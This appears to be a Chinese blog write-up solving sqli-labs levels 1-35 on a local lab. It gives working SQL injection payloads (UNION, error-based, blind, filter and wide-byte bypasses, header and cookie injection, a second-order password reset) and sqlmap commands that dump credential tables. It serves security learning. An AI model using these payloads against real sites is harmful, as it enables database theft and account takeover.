【总结】sqli-labs Less(1-35) 小结
更多干货:https://t.zsxq.com/37IqJUV
0x00 工具
phpstudy2016:链接:http://pan.baidu.com/s/1bpbEBCj 密码:fmr4
sqli-labs-master:链接:http://pan.baidu.com/s/1jH4WlMY 密码:11mj
环境搭建之前写过,这里就不多说了,直接开始通关体验
所有实验均是拿当前数据库为例进行,即database()...
第一题说明了注入的初步判断及闭合,后面的题就不进行详细说明了
0x01 解题
一、http://127.0.0.1/sqli-labs-master/Less-1/?id=1
1、手工UNION联合查询注入
输入单引号,页面报错,信息为''1'' LIMIT 0,1',如下图所示

根据报错信息,可以确定输入参数的内容被存放到一对单引号中间,脑补一下咱们输入的1在数据库中出现的位置为:select ... from ... where id=’1’ ......,多余的步骤不多说了,直接开始爆数据吧。
爆表
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

爆列(字段)
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

爆值
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(username,0x3a,password),3 from users--+

2、手工报错型注入
爆表
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

爆列(字段)
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','us')))) --+

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','us','user','password','avatar','last_login')))) --+

爆值
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+

步骤类似,就不重复做了
3、借助SQLMAP工具进行注入
本工具中使用-v 0参数只是为了更好的截图......
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql –batch –v 0

sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql --dbs --batch -v 0

sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql -D security --tables --batch -v 0

sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql -D security -T users --columns --batch -v 0

sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql -D security -T users -C username,password --dump --batch -v 0

其它库、表、字段就不一一爆了,,,
二、http://127.0.0.1/sqli-labs-master/Less-2/?id=1
输入单引号,根据报错信息确定咱们输入的内容被原封不动的带入到数据库中,也可叫做数字型注入,把第一题中id=1后面的单引号去掉,其它保持不变就行了,不再重复了......
三、http://127.0.0.1/sqli-labs-master/Less-3/?id=1
输入单引号,根据报错信息确定咱们输入的内容存放到一对单引号加圆括号中了,脑补一下咱们输入1在数据库语句中的位置,形如select ... from ... where id=(‘1’) ...,在第一题中id=1‘的后面单引号加上),其它保持不变就行了,不再重复了......
四、http://127.0.0.1/sqli-labs-master/Less-4/?id=1
输入单引号,页面无任何变化,尝试输入双引号,页面报错,根据报错信息判断出咱们输入的内容被放到一队双引号和圆括号中,脑补一下:select ... from ... where id=(”1”) ...,把第一题中1后面的引号换成双引号加)就可以了......
五、http://127.0.0.1/sqli-labs-master/Less-5/?id=1

看到这个报错信息,第一反应就行布尔型盲注、报错型注入、时间延迟型盲注了,十有八九UNION联合查询型注入不能用了......
简单测试下,猜测都是对的,下面给出验证时间延迟型的盲注:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and sleep(5)--+
报错注入,方法和第一题一样,都是单引号型的
布尔型和时间延迟型盲注建议采用sqlmap去跑吧......

六、http://127.0.0.1/sqli-labs-master/Less-6/?id=1
把上一题的单引号换成双引号即可......
七、http://127.0.0.1/sqli-labs-master/Less-7/?id=1
几次尝试,不难猜出注释符被过滤了......,直接输入http://127.0.0.1/sqli-labs-master/Less-7/?id=1' and '1'='1
由报错信息不难看出报错型注入基本没戏的,直接布尔型盲注或者时间盲注,使用sqlmap跑,
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-7/?id=1 --technique B --dbms mysql --batch -v 0

八、http://127.0.0.1/sqli-labs-master/Less-8/?id=1
输入内容被放到一对单引号中,注释符可用,构造payload:
http://127.0.0.1/sqli-labs-master/Less-8/?id=1%27%20and%201=1%20--+
http://127.0.0.1/sqli-labs-master/Less-8/?id=1%27%20and%202=1%20--+
判断出存在布尔型盲注,使用sqlmap跑,和第七题一样......
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id=1 --technique B --dbms mysql --batch -v 0

九、http://127.0.0.1/sqli-labs-master/Less-9/?id=1
参数内容被放到一对单引号中,不用脑补了......注释符可用
简单判断下:http://127.0.0.1/sqli-labs-master/Less-9/?id=1%27%20and%20sleep(5)%20--+
页面响应延迟,判断存在时间延迟型注入,直接用sqlmap跑,
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-9/?id=1 --technique T --dbms mysql --batch -v 0

十、http://127.0.0.1/sqli-labs-master/Less-10/?id=1
输入的参数内容即1被放到一对双引号中,注释符可用
http://127.0.0.1/sqli-labs-master/Less-10/?id=1%22%20and%20sleep(5)--+
页面响应延迟,存在时间延迟型注入,直接使用sqlmap跑,,,
此处需要修改一下前缀文件内容如下,修改xml文件夹下boundaries.xml文件中的内容如下图所示,,,

直接用sqlmap跑,

十一、 http://127.0.0.1/sqli-labs-master/Less-11/
11到21关的提交方式全是post型的,需要借助抓包工具,我这里使用burpsuite工具
Burpsuite抓包,简单测试下,存在报错型注入
uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit

直接sqlmap跑,,,,,,

再测试下,存在UNION联合查询注入,如下图所示,,

直接sqlmap跑,

十二、http://127.0.0.1/sqli-labs-master/Less-12/
双引号,报错型

直接sqlmap跑,,,
sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506657847007.req --technique E --dbms mysql --batch -v 0

十三、http://127.0.0.1/sqli-labs-master/Less-13/
抓包测试注入类型,输入参数内容被放到(‘’)中,注释符可用,如下图所示,,

直接使用sqlmap跑,
sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506661582400.req --prefix "')" --technique E --dbms mysql --batch -v 0

十四、http://127.0.0.1/sqli-labs-master/Less-14/
输入内容被放到双引号中,报错型注入,注释符不可用,如下图所示,,

使用sqlmap去跑,,,
sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506662249280.req --technique E --dbms mysql --batch -v 0

十五、 http://127.0.0.1/sqli-labs-master/Less-15/
根据页面显示,可以测出为布尔和时间延迟的盲注,如下图所示
uname=admin' and 1=1 --+&passwd=admin&submit=Submit

uname=admin' and 1=2 --+&passwd=admin&submit=Submit

uname=admin' and sleep(5) --+&passwd=admin&submit=Submit
页面响应延迟,可以看出存在时间延迟性注入,
直接使用sqlmap跑,,
sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506662373346.req --technique T --dbms mysql --batch -v 0 --threads 8

布尔型盲注存在点问题,使用sqlmap工具没有跑出来,,,只能通过手工去爆了,苦逼,,
十六、 http://127.0.0.1/sqli-labs-master/Less-16/

sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506664390744.req -p "uname" --technique T --dbms mysql --batch --level 3 --threads 8 -v 0

十七、http://127.0.0.1/sqli-labs-master/Less-17/
报错型注入,单引号,注释符可用

用sqlmap测试
sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506754249224.req -p passwd --tech E --dbms mysql --batch -v 0

十八、http://127.0.0.1/sqli-labs-master/Less-18/
报错型,单引号,user-agent型注入点,,,

直接用sqlmap跑,在http请求头的user-agent内容后面加上一个*号
sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506757146400.req --user-agent Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36 --tech E --dbms mysql --batch -v 0

十九、http://127.0.0.1/sqli-labs-master/Less-19/
报错型,单引号,referer型注入点,,

直接用sqlmap跑,在http请求头的referer内容后面加上一个*号,,
sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506757627681.req --referer http://127.0.0.1/sqli-labs-master/Less-19/ --tech E --dbms mysql --batch -v 0

二十、http://127.0.0.1/sqli-labs-master/Less-20/
报错型,单引号,cookie型注入

直接用sqlmap测试,,
sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506758959558.req --cookie uname=admin --tech E --dbms mysql --batch -v 0

二十一、http://127.0.0.1/sqli-labs-master/Less-21/
本关和20关相似,只是cookie的uname值经过base64编码了,使用sqlmap的时候直接带个脚本就行了,直接上sqlmap,,
sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506759460951.req --cookie uname=YWRtaW4%3D --tech E --dbms mysql --tamper base64encode.py --batch -v 0

二十二、 http://127.0.0.1/sqli-labs-master/Less-22/
报错型,双引号,base64编码,,没改payloads等级的需要使用--level 3 参数


直接上SQL map,,
sqlmap.py -r C:\Users\esafenet\AppData\Local\Temp\\1506760318956.req --cookie uname=YWRtaW4= --tech E --dbms mysql --tamper base64encode.py --batch -v 0

二十三、http://127.0.0.1/sqli-labs-master/Less-23/
单引号,过滤了注释符,,直接上sqlmap吧,,

二十四、http://127.0.0.1/sqli-labs-master/Less-24/?id=1
利用带有管理员账号的注册用户名,在修改密码的时候达到修改管理员账号密码的效果,,
注册用户名:admin’ or ‘1’=’1 密码为 admin
注册成功后,登录进去修改密码,将密码改为 123
更改后即可发现,admin用户的密码也被改成了123,
自行脑补一下,update tables set password=’123’ where username=’admin’ or ‘1’=’1’
二十五、http://127.0.0.1/sqli-labs-master/Less-25/?id=1
过滤了and和or,绕过方法%26%26代替and,或者双写anandd来绕过,or用 || 或者oorr来代替即可绕过,,,话不多说,我这里直接修改脚本使用sqlmap来跑,,
And2anandd.py脚本内容如下所示,,

sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-25/?id=1 -p id --tech E --dbms mysql --tamper and2anandd.py --batch -v 0

二十六、http://127.0.0.1/sqli-labs-master/Less-26/?id=1
此题过滤了所有空白字符,暂时未找到代替空格的字符,,,,,,欢迎大佬们分享^_^
二十七、http://127.0.0.1/sqli-labs-master/Less-27/?id=1
union,select,空格,注释符被过滤,直接修改脚本结合sqlmap测试,使用%09,%0a等代替空格,双写代替select,,脚本和25题类似,,,直接用sqlmap测试,
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-27/?id=1 -p id --prefix "'" --suffix "%0aand%0a'1'='1" --tech E --dbms mysql --tamper select2selecselectt.py,space2%0a.py --batch -v 0

二十八、http://127.0.0.1/sqli-labs-master/Less-28/?id=1
http://127.0.0.1/sqli-labs-master/Less-28/?id=0%27)%0aunionunion%0aselect%0aselect%0a1,2,3%0aand%0a(%271%27=%271
直接用sqlmap跑,本题过滤了union+空格+select和空格,但是sqlmap中使用的是union+all+select,那我们只需用其它空白字符替换空格即可,,
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-28/?id=1 --prefix "')" --suffix "%0aand%0a('1'='1" --tech U --dbms mysql --tamper space2%0a.py --batch -v 0

测试发现不存在报错型注入,,,
二十九、http://127.0.0.1/sqli-labs-master/Less-29/?id=1
http://127.0.0.1/sqli-labs-master/Less-29/?id=0' union%0aall select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

直接用sqlmap测试
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-29/?id=1 --dbms mysql --batch -v 0

三十、http://127.0.0.1/sqli-labs-master/Less-30/?id=1
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-30/?id=1 --dbms mysql --batch -v 0

三十一、http://127.0.0.1/sqli-labs-master/Less-31/?id=1
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-31/?id=1 --dbms mysql --batch -v 0

三十二、http://127.0.0.1/sqli-labs-master/Less-32/?id=1
宽字节绕过引号转义
http://127.0.0.1/sqli-labs-master/Less-32/?id=0%df' union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

三十三、http://127.0.0.1/sqli-labs-master/Less-33/
http://127.0.0.1/sqli-labs-master/Less-33/?id=0%df%27%20union%20all%20select%201,2,3--+

http://127.0.0.1/sqli-labs-master/Less-33/?id=0%df%27%20union%20all%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+

三十四、http://127.0.0.1/sqli-labs-master/Less-34/
burpsuite抓包,手工测试,,

三十五、http://127.0.0.1/sqli-labs-master/Less-35
http://127.0.0.1/sqli-labs-master/Less-35/?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

不知不觉这些东西就花了我一下午的时间,脖子有点疼,今天先搞到这里,后续分享用python编写的脚本来测试。
【总结】sqli-labs Less(1-35) 小结的更多相关文章
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- SQLI LABS Challenges Part(54-65) WriteUp
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...
- SQLI LABS Stacked Part(38-53) WriteUp
这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
- Sqli labs系列-less-5&6 报错注入法(下)
我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...
随机推荐
- Redis安装部署、Jedis的使用
一.NoSQL概述 为什么需要NoSQL High performance -高并发读写 Huge Storage - 海量数据的高效率存储和访问 High Scalability && ...
- ASP.NET MVC与ASP.NET Web API的区别(转)
出处:http://blog.csdn.net/wangzl1163/article/details/72676616 MVC主要用来构建网站,既关心数据也关心页面展示,而Web API只关注数据 W ...
- Exception in thread "main" java.lang.Error: Unresolved compilation problem
初学java,使用eclipse编译时,可能会遇到如下图所示的编译错误(Exception in thread "main" java.lang.Error: Unresolved ...
- (二分搜索 )Strange fuction -- HDU -- 2899
链接: http://acm.hdu.edu.cn/showproblem.php?pid=2899 Time Limit: 2000/1000 MS (Java/Others) Memory ...
- [label][OS] 制作 U 盘安装 Windows 7
U盘安装完美的WIN7操作系统教程 [编辑] 请使用正版系统 http://item.jd.com/965031.html 以保证您的电脑信息安全 此教程适用与 win7及win8 准备工作 ...
- HTML5、CSS3与响应式Web设计入门(1)
HTML5与CSS3已经当仁不让的成为了这两年Web界最火爆的词,他们似乎在HTML4和CSS2统治了Web很多年之后的某一天突然爆发,然 后一直占据着所有Web开发者的视野.HTML5本身就是一个很 ...
- Ocelot 新手上路
新手上路,老司机请多多包含!Ocelot 在博园里文章特别多,但是按照其中一篇文章教程,如果经验很少或者小白,是没法将程序跑向博主的结果. 因此总结下 参考多篇文章,终于达到预期效果. Oce ...
- 使用Base64进行string的加密和解密
//字符串转bytes var ebytes = System.Text.Encoding.Default.GetBytes(keyWord); //bytes进行base64加密 var strBa ...
- cesium编程入门(四)界面介绍及小控件隐藏
感性认识 界面介绍,viewer Geocoder : 查找位置工具,查找到之后会将镜头对准找到的地址,默认使用bing地图 Home Button :视角返回初始位置. Scene Mode Pic ...
- 「BZOJ1426」收集邮票
题目链接 戳我 \(Solution\) 我们首先转换一下问题: 假设我们进行了k轮得到了所有种类的邮票 则所花费用为: \[(1+2+5+...+k)=\frac{(1+k)*k}{2}=\frac ...